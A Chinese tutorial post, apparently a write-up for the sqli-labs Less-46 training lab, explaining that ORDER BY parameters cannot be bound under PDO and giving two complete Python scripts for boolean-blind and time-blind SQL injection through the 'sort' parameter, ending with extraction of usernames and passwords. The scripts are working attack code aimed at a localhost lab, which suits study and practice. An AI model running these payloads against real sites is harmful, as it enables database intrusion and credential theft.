当前位置: 首页 > article >正文

order by布尔盲注、时间盲注

pdo防御下,order by、limit不能参数绑定,可以进行sql注入

案例:靶场的less-46

布尔盲注:

import requests
from lxml import html


def get_id_one(URL, paload):
    res = requests.get(url=URL, params=paload)
    tree = html.fromstring(res.content)
    id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
    return id_one


def get_database(URL):
    s = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr(database(),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("数据库名称:" + s)


def get_table(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("表的名称:" + s)


def get_column(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("列的名称:" + s)


def get_result(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("用户名及密码信息:" + s)


if __name__ == '__main__':
    URL = "http://localhost/Less-46/"
    # get_database(URL)
    # get_table(URL)
    # get_column(URL)
    get_result(URL)

 

时间盲注:

import requests
import datetime


def get_database(URL):
    s = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr(database(),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2

            else:
                hight = mid
                mid = (low + hight) // 2
            # print(chr(mid), mid)
        s += chr(mid)
        print("数据库名称:" + s)


def get_table(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("表的名称:" + s)


def get_column(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("列的名称:" + s)


def get_result(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("用户名及密码信息:" + s)


if __name__ == '__main__':
    URL = "http://localhost/Less-46/"
    # get_database(URL)
    # get_table(URL)
    # get_column(URL)
    get_result(URL)


http://www.kler.cn/a/562776.html

相关文章:

  • 将VsCode变得顺手好用(1
  • randlanet 部署 -- 模型静态化
  • ClickHouse 的分区、分桶和分片详解
  • AIGC-LLAMA模型介绍
  • 在 Ubuntu 下通过 Docker 部署 Mastodon 服务器
  • adb的安装
  • 顾客关系管理CRM思维导图模版
  • 【hot100】刷题记录(29)-搜索二维矩阵
  • PINN求解固体力学问题——论文加代码
  • 通过阿里云RDS排查解决MYSQL慢SQL--图文教学
  • LeetCode 589
  • 编程小白冲Kaggle每日打卡(16)--kaggle学堂:<机器学习简介>欠拟合与过拟合
  • Java 网络协议面试题答案整理,最新面试题
  • C++ 二叉树的后序遍历 - 力扣(LeetCode)
  • 通过Sidecar模式实现服务注册、服务发现和负载均衡的分布式系统架构
  • 自动驾驶FSD技术的核心算法与软件实现
  • HarmonyOS组件开发规范文档之理解与总结
  • 跟着官方文档学习UE C++ TArray容器系列 迭代
  • 详解直方图均衡化
  • 【算法】哈希表详解